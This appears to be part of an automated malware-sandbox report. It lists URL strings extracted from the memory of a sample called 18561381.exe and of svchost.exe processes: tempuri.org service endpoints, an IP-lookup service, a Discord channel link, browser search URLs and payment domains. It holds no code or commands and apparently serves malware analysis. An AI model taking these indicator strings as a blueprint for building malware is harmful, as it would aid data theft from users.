Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14V
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 18561381.exe, 00000000.00000002.407082588.000000000293F000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 18561381.exe, 00000000.00000002.406781851.00000000028CA000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404060330.0000000002521000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Amcache.hve.0.dr	String found in binary or memory: http://upx.sf.net
Source: svchost.exe, 00000005.00000002.317931906.0000021856213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.braintreegateway.com
Source: 18561381.exe	String found in binary or memory: https://api.ip.sb/ip
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.spotify.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.twitch.tv
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://assets.braintreegateway.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://audius.co/embed/
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://best.discord.media
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://c.tenor.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://c.tenor.com;
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/animations/
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://checkout.paypal.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://checkout.paypal.com;
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://client-analytics.braintreegateway.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clips.twitch.tv/embed
Source: svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.317955827.0000021856229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000005.00000002.317987821.000002185623E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000005.00000003.316384580.0000021856269000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.318096374.000002185626B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000005.00000003.316533370.0000021856251000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.318032237.0000021856257000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000005.00000002.317955827.0000021856229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000005.00000002.317987821.000002185623E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000005.00000002.317955827.0000021856229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000005.00000003.317145385.0000021856241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000005.00000002.317999080.0000021856243000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.317408302.0000021856242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.317145385.0000021856241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.317145385.0000021856241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: 18561381.exe, 00000000.00000002.406890836.00000000028F6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com
Source: 18561381.exe, 00000000.00000002.406890836.00000000028F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/channels/948610961449816084/948610961449816086/948611091527774228
Source: 18561381.exe, 00000000.00000002.406890836.00000000028F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discord.com4wk
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/domain-migration
Source: svchost.exe, 0000000F.00000003.439033226.00000129A5B78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.437732478.00000129A5BA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404949340.000000000268B000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409840435.00000000037A6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409974312.0000000003817000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405606385.000000000274C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409340471.0000000003647000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409471112.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.406246083.000000000280E000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.409630866.0000000003735000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.408438093.00000000035D6000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 18561381.exe, 00000000.00000002.406360552.0000000002824000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000005.00000002.318011570.000002185624C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000005.00000003.316973143.000002185624A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000005.00000003.317145385.0000021856241000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000005.00000003.316762094.0000021856262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000005.00000002.317987821.000002185623E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000005.00000003.294338259.0000021856231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://get.adob
Source: 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hcaptcha.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hcaptcha.com;
Source: 18561381.exe, 00000000.00000002.405692734.0000000002763000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407244628.000000000295D000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.405022216.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://helpx.ad
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hooks.stripe.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.imgur.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.scdn.co
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ytimg.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://js.braintreegateway.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://js.stripe.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://latency.discord.media
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://media.discordapp.net
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://media.tenor.co
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://media.tenor.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oddshot.akamaized.net
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/embed/
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://origin-analytics-prod.production.braintree-api.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://payments.braintree-api.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pbs.twimg.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://player.twitch.tv
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp, 18561381.exe, 00000000.00000002.407017576.0000000002928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/
Source: 18561381.exe, 00000000.00000002.407031152.000000000292C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://router.discordapp.net
